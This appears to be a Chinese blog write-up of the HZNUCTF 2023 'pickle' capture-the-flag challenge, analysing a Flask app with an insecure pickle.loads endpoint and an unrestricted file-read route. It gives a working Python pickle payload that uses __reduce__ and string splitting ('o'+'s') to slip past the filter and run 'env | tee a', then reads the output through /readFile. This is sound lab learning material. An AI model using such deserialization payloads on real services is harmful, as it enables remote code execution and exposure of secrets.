[HZNUCTF 2023 preliminary]pickle

[HZNUCTF 2023 preliminary]pickle

点开之后源码如下:

import base64
import pickle
from flask import Flask, request
 
app = Flask(__name__)
 
 
@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()
 
 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
 
 
@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0')

接着我们对代码进行分析:

base64:用于进行 Base64 编码和解码操作。

pickle:Python 的对象序列化和反序列化模块,可以将 Python 对象转换为字节流进行存储或传输,也可以从字节流中恢复对象。

Flask:一个轻量级的 Web 应用框架,用于快速构建 Web 应用程序。

request:用于处理 Flask 应用中的 HTTP 请求数据。

  1. / 路由:
@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()

这个路由函数在用户访问根路径(/)时被调用。它打开当前目录下的 app.py 文件,并读取文件内容返回给客户端。

  1. calc 路由:
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"

这个路由函数响应 GET 请求到 /calc 路径。它从请求的参数中获取名为 payload 的值,然后对这个值进行以下操作:

首先使用 base64.b64decode 对 payload 进行 Base64 解码。

接着使用 .replace(b’os’, b’') 将解码后的字节串中的 os 替换为空字节串。

最后使用 pickle.loads 尝试反序列化处理后的字节串。如果这个字节串不是合法的序列化对象,或者在反序列化过程中出现问题,可能会引发错误。最后返回字符串 “ganbadie!”。

  1. /readFile 路由:
@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()

这个路由函数响应 GET 请求到 /readFile 路径。它从请求的参数中获取名为 filename 的值,然后将这个值中的 “flag” 替换为 “???”。接着尝试打开这个文件名对应的文件进行读取,并将文件内容返回给客户端。如果文件名不合法或者文件不存在,可能会引发错误。

if __name__ == '__main__':
    app.run(host='0.0.0.0')

这部分代码确保只有当脚本直接运行时才会启动 Flask 应用。app.run(host=‘0.0.0.0’) 表示应用将在所有网络接口上监听请求。

这里用os字符串拼接绕过:

import pickle  
import base64  
  
class rayi(object):  
def __reduce__(self):  
#return eval,("__import__('o'+'s').system('ls / | tee a')",)  
return eval,("__import__('o'+'s').system('env | tee a')",)  
  
a=rayi()  
print(pickle.dumps(a))  
print(base64.b64encode(pickle.dumps(a)))

def reduce(self):定义了特殊方法__reduce__。这个方法在对象被pickle模块序列化时会被调用。它应该返回一个可调用对象和一个参数元组,用于在反序列化时重建对象。

return eval,(“import(‘o’+‘s’).system(‘env | tee a’)”,):这里返回一个元组,包含两个元素。

运行代码之后得到:

在这里插入图片描述然后我们构造payload:

/readFile?filename=a 

运行之后得到:

在这里插入图片描述假的flag ,接着我们在环境变量中成功找到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值